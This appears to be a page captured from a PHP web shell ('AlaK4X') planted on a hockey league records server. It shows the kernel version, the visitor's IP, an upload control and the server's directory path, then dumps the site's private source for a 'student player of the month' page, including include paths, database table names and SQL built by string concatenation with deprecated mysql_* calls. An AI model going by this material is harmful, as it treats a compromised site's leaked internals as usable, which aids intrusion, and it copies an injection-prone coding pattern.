AlaK4X
Linux lhjmq-records 5.15.0-118-generic #128-Ubuntu SMP Fri Jul 5 09:28:59 UTC 2024 x86_64



Your IP : 3.137.189.236


Current Path : /var/www/lhjmq-records.qc.ca/public_html/lang_fr/
Upload File :
Current File : /var/www/lhjmq-records.qc.ca/public_html/lang_fr/studentplayerofmonth.php

<?php

	//App settings
	include("../../includes/applogger.php");
	include("../../includes/appsettings.php");

	//Include the system classes and includes
	include("../../includes/mysql_server_setup.php");
	include("../../administration/lib/common.php");

	//Core library loading
	include("../../administration/includes/contants.php");
	include('../../administration/lib/saisons.php');
	include('../../administration/lib/team.php');
	include('../../administration/lib/arenas.php');
	include('../../administration/lib/league.php');
	include('../../administration/lib/struct.php');
	include('../../administration/lib/histo.php');
	include('../../administration/lib/register.php');



if (!isset($generateEventColumn)) $generateEventColumn = 3;
$events_column_width = ($generateEventColumn == 2) ? 191 : 159;
$events_article_column_width = ($generateEventColumn == 2) ? 172 : 140;
$events_column_bgcolor = ($generateEventColumn == 2) ? '#BBBFCE' : '#8A92AB';
$current_season = season_get_current_regular($mysql_link);


// Tweak of current season
$sCur_season = $current_season['date_start'];
$sCur_season[8] = 0;
$sCur_season[9] = 1;

// First get the latest date from today then get the honnors on that date
$nearest_date = mysql_fetch_assoc(mysql_query($sql='SELECT honnor_date FROM student_honnors_monthly WHERE honnor_date >= "'.$sCur_season.'" AND honnor_date <= "'.date('Y-m-d').'" GROUP BY honnor_date ORDER BY honnor_date DESC', $mysql_link));
$res = mysql_query('SELECT * FROM student_honnors_monthly AS hm LEFT JOIN register_histo AS rh ON rh.id = hm.id_register_histo LEFT JOIN register AS r ON r.id = rh.id_register WHERE honnor_date = "'.$nearest_date['honnor_date'].'" ORDER BY honnor_type', $mysql_link);

// Setup the base data (No base data, we just don't show it if it doesn't exist)
$honnors = array();

// Prepare the data
while ($row = mysql_fetch_assoc($res)) {
	$photos = @mysql_fetch_assoc(@mysql_query($sql = 'SELECT rp.id AS photoid, rp.pic_large, rp.pic_small FROM register_photos AS rp, secur_usagersgroupes AS sug1, secur_usagersgroupes AS sug2  WHERE sys_date <= "'.date('Y-m-d').'" AND id_register = '.$row['id_register'].' AND rp.sys_scope <= '.SCOPE_PUBLIC.' AND rp.sys_status = '.STATUS_ACTIVE.' GROUP BY photoid ORDER BY rp.sys_status DESC, rp.sys_date DESC, rp.id DESC', $mysql_link));
	$honnors[$row['honnor_type']] = array(
		'honnor_data' => $row,
		'team_data' => team_get_data($mysql_link, $row['histo_directdata'], $row['honnor_date']),
		'photos' => $photos
	);
}

// Draw something?
if (isset($honnors[1]) || isset($honnors[2]) || isset($honnors[3])) {
?>

<p align=center>
<iframe name="studentplayerofthemonth" id="studentplayerofthemonth" SRC="http://www.lhjmq.qc.ca/lang_fr/school/playerofthemonthlive.php?page=845771244&column=<?echo $generateEventColumn;?>" scrolling="no" frameborder="no"
	style="width: <?php echo $events_column_width; ?>px; height: 340px;"></iframe>
</p>

<?}?>